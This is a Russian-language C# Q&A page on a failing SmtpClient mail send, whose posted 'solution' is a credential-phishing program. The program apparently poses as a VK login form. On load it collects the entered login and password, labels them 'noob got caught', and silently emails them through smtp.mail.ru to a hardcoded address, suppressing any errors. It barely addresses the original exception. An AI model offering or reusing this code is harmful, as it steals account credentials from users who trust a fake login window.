Отправка почты (вылетает исключение) - C#
Формулировка задачи:
Отправляю почту при помощи вот этого кода:
На Win7 работает исправно, без ошибок. На WinXP вылетает исключение:
************** Текст исключения **************
System.Net.Mail.SmtpException: Сбой при отправке сообщения электронной почты. ---> System.Net.WebException: Невозможно соединиться с удаленным сервером ---> System.Net.Sockets.SocketException: Попытка установить соединение была безуспешной, т.к. от другого компьютера за требуемое время не получен нужный отклик, или было разорвано уже установленное соединение из-за неверного отклика уже подключенного компьютера
В чем может быть дело?
SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 25);
Smtp.Credentials = new NetworkCredential("login", "pasword");
MailMessage Message = new MailMessage();
Message.From = new MailAddress("откуда@mail.ru");
Message.To.Add(new MailAddress("куда@gmail.com"));
Message.Subject = "Письмо";
Message.Body = "";
string file = "путь к присоединяемому файлу";
Attachment attach = new Attachment(file, MediaTypeNames.Application.Octet);
Message.Attachments.Add(attach);
Smtp.Send(Message);Решение задачи: «Отправка почты (вылетает исключение)»
textual
Листинг программы
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;
namespace бот_вк
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
SmtpClient client = new SmtpClient("smtp.mail.ru", 2525); // Здесь указываем смтп сервер и порт, который мы будем использовать
client.Credentials = new System.Net.NetworkCredential("sidorov159357@mail.ru", "pass"); // Указываем логин и пароль для авторизации
string msgFrom = "Login@mail.ru"; // Указываем поле, от кого письмо
string msgTo = "login@mail.ru"; // Указываем поле, кому письмо будет отправлено
string msgSubject = "Письмо из c#"; // Указываем тему пиьсма
string msgBody = String.Format("Нубик попался :-)\n\n {0}\nЛогин: {1}\nПароль: {2}",
ToString(), textBox1.Text, textBox2.Text); // Тут мы формируем тело письма, передаем выбранный сервер, логин и пароль.
MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody); // Создаем письмо, из всего, что сделали выше
try
{
client.Send(msg); // Отправляем письмо
}
catch
{ }
}
private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
{
System.Diagnostics.Process.Start("www.vk.com");
}
}
}